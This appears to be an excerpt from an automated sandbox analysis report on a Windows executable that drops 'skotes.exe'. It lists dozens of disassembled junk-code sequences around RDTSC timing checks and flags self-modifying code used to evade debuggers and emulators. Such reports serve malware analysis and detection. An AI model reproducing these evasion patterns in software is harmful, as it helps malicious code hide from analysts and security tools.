Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D031A second address: 54D0364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 50B0F832h 0x00000008 movsx ebx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FACC6C90FD9h 0x00000014 jmp 00007FAC54CD2CE2h 0x00000019 mov edx, dword ptr [esi+44h] 0x0000001c jmp 00007FAC54CD2CE0h 0x00000021 or edx, dword ptr [ebp+0Ch] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FAC54CD2CDAh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0364 second address: 54D0373 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0373 second address: 54D038B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D038B second address: 54D038F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D038F second address: 54D03BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAC54CD2CE9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D03BA second address: 54D03C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D03C0 second address: 54D03C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D03C6 second address: 54D0401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FACC6E9184Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAC54ED35B7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C08F5 second address: 54C08FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C08FB second address: 54C099A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 mov esi, 5F56B1B5h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FAC54ED35B0h 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 jmp 00007FAC54ED35AEh 0x0000001b mov edi, eax 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 mov eax, edx 0x00000022 mov esi, edi 0x00000024 popad 0x00000025 xchg eax, esi 0x00000026 jmp 00007FAC54ED35ABh 0x0000002b mov esi, dword ptr [ebp+08h] 0x0000002e pushad 0x0000002f mov al, bh 0x00000031 popad 0x00000032 sub ebx, ebx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FAC54ED35B9h 0x0000003b sbb eax, 0639AB36h 0x00000041 jmp 00007FAC54ED35B1h 0x00000046 popfd 0x00000047 call 00007FAC54ED35B0h 0x0000004c mov cx, FFB1h 0x00000050 pop eax 0x00000051 popad 0x00000052 test esi, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C099A second address: 54C099E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C099E second address: 54C09A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C09A4 second address: 54C0AAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC54CD2CE7h 0x00000009 adc ecx, 39ED55CEh 0x0000000f jmp 00007FAC54CD2CE9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007FACC6C98682h 0x0000001e pushad 0x0000001f push eax 0x00000020 mov cx, dx 0x00000023 pop edx 0x00000024 pushfd 0x00000025 jmp 00007FAC54CD2CE0h 0x0000002a sub al, 00000078h 0x0000002d jmp 00007FAC54CD2CDBh 0x00000032 popfd 0x00000033 popad 0x00000034 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003b pushad 0x0000003c jmp 00007FAC54CD2CE4h 0x00000041 mov ax, 4B31h 0x00000045 popad 0x00000046 mov ecx, esi 0x00000048 jmp 00007FAC54CD2CDCh 0x0000004d je 00007FACC6C9863Bh 0x00000053 pushad 0x00000054 mov bl, ah 0x00000056 popad 0x00000057 test byte ptr [77516968h], 00000002h 0x0000005e pushad 0x0000005f mov cx, 3611h 0x00000063 pushfd 0x00000064 jmp 00007FAC54CD2CDEh 0x00000069 adc esi, 732AFD68h 0x0000006f jmp 00007FAC54CD2CDBh 0x00000074 popfd 0x00000075 popad 0x00000076 jne 00007FACC6C98616h 0x0000007c jmp 00007FAC54CD2CE6h 0x00000081 mov edx, dword ptr [ebp+0Ch] 0x00000084 push eax 0x00000085 push edx 0x00000086 jmp 00007FAC54CD2CE7h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0AAE second address: 54C0AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0AC6 second address: 54C0B01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FAC54CD2CE6h 0x00000011 push eax 0x00000012 jmp 00007FAC54CD2CDBh 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B01 second address: 54C0B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B05 second address: 54C0B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B09 second address: 54C0B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B0F second address: 54C0B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC54CD2CDAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B2C second address: 54C0B3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B3B second address: 54C0B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC54CD2CDFh 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FAC54CD2CDEh 0x00000017 sbb ax, DED8h 0x0000001c jmp 00007FAC54CD2CDBh 0x00000021 popfd 0x00000022 jmp 00007FAC54CD2CE8h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0B8F second address: 54C0BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0BA5 second address: 54C0BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0BA9 second address: 54C0BAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0BAD second address: 54C0BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0D79 second address: 54D0D88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0D88 second address: 54D0D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0D8E second address: 54D0D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0D92 second address: 54D0D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0D96 second address: 54D0DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0DA4 second address: 54D0DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0DAC second address: 54D0DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0DBE second address: 54D0DFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FAC54CD2CE7h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop esi 0x00000015 call 00007FAC54CD2CE7h 0x0000001a pop eax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0DFE second address: 54D0E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 mov dh, E6h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC54ED35AFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0E1B second address: 54D0E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0B17 second address: 54D0B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAC54ED35AEh 0x0000000f push eax 0x00000010 jmp 00007FAC54ED35ABh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FAC54ED35B6h 0x0000001b mov ebp, esp 0x0000001d jmp 00007FAC54ED35B0h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FAC54ED35B7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556079C second address: 55607BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop eax 0x0000000f mov bl, AEh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607BE second address: 556080B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 pushfd 0x00000011 jmp 00007FAC54ED35AFh 0x00000016 or esi, 46DFB1DEh 0x0000001c jmp 00007FAC54ED35B9h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556080B second address: 5560827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx eax, dx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560827 second address: 5560859 instructions: 0x00000000 rdtsc 0x00000002 mov ah, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAC54ED35B0h 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC54ED35B7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55507FE second address: 555085A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 16EAEF1Ah 0x00000008 pushfd 0x00000009 jmp 00007FAC54CD2CDBh 0x0000000e jmp 00007FAC54CD2CE3h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FAC54CD2CDBh 0x00000021 add cx, 1E1Eh 0x00000026 jmp 00007FAC54CD2CE9h 0x0000002b popfd 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555085A second address: 555085F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555085F second address: 555086D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0107 second address: 54E0111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 2B4A0DEEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0111 second address: 54E0130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 mov esi, 682FF7DDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC54CD2CDFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0130 second address: 54E0136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0136 second address: 54E014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAC54CD2CDDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E014E second address: 54E016C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550C3A second address: 5550C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550C4C second address: 5550C50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550C50 second address: 5550C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FAC54CD2CE7h 0x0000000e mov ebp, esp 0x00000010 jmp 00007FAC54CD2CE6h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FAC54CD2CDAh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550C99 second address: 5550C9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550C9F second address: 5550CFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d jmp 00007FAC54CD2CDEh 0x00000012 push eax 0x00000013 mov cx, dx 0x00000016 pop edx 0x00000017 popad 0x00000018 push 7E5E4FD1h 0x0000001d jmp 00007FAC54CD2CE9h 0x00000022 xor dword ptr [esp], 7E5F4FD3h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FAC54CD2CDDh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05B6 second address: 54F05E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 57DBBF52h 0x00000008 mov dx, 7E9Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 movzx esi, dx 0x00000015 jmp 00007FAC54ED35ADh 0x0000001a popad 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05E1 second address: 54F05E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05E5 second address: 54F05FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05FB second address: 54F06B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007FAC54CD2CDAh 0x0000000c and esi, 41DE9AF8h 0x00000012 jmp 00007FAC54CD2CDBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d jmp 00007FAC54CD2CE6h 0x00000022 push FFFFFFFEh 0x00000024 pushad 0x00000025 push ecx 0x00000026 movsx edi, ax 0x00000029 pop ecx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FAC54CD2CE5h 0x00000031 sbb ecx, 3964A8F6h 0x00000037 jmp 00007FAC54CD2CE1h 0x0000003c popfd 0x0000003d mov ecx, 750529E7h 0x00000042 popad 0x00000043 popad 0x00000044 call 00007FAC54CD2CD9h 0x00000049 jmp 00007FAC54CD2CDAh 0x0000004e push eax 0x0000004f jmp 00007FAC54CD2CDBh 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FAC54CD2CE4h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F06B0 second address: 54F071A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FAC54ED35B9h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 mov ecx, edx 0x00000017 mov ch, dl 0x00000019 popad 0x0000001a pop eax 0x0000001b jmp 00007FAC54ED35B2h 0x00000020 push 54CA1F9Bh 0x00000025 jmp 00007FAC54ED35B1h 0x0000002a xor dword ptr [esp], 238CB19Bh 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F071A second address: 54F071E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F071E second address: 54F0731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0731 second address: 54F075C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov si, 4EC5h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F075C second address: 54F07AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FAC54ED35ABh 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007FAC54ED35B9h 0x00000019 and al, FFFFFFF6h 0x0000001c jmp 00007FAC54ED35B1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F07AB second address: 54F081E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 pushfd 0x00000006 jmp 00007FAC54CD2CE8h 0x0000000b or cx, 2C48h 0x00000010 jmp 00007FAC54CD2CDBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007FAC54CD2CE2h 0x00000022 pop ecx 0x00000023 pushfd 0x00000024 jmp 00007FAC54CD2CDBh 0x00000029 or ah, 0000003Eh 0x0000002c jmp 00007FAC54CD2CE9h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F081E second address: 54F082E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F082E second address: 54F0832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0832 second address: 54F0847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAC54ED35AAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0847 second address: 54F0897 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, edx 0x00000011 pushfd 0x00000012 jmp 00007FAC54CD2CE7h 0x00000017 sbb ecx, 1F95CF5Eh 0x0000001d jmp 00007FAC54CD2CE9h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0897 second address: 54F08BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC54ED35ADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08BC second address: 54F08CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08CC second address: 54F08D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08D0 second address: 54F0935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx ecx, di 0x0000000d mov ax, di 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 mov cl, dl 0x00000015 jmp 00007FAC54CD2CDAh 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c jmp 00007FAC54CD2CE0h 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FAC54CD2CE1h 0x00000029 add esi, 49D6D1B6h 0x0000002f jmp 00007FAC54CD2CE1h 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EF283C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F1986A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B8283C instructions caused by: Self-modifying code
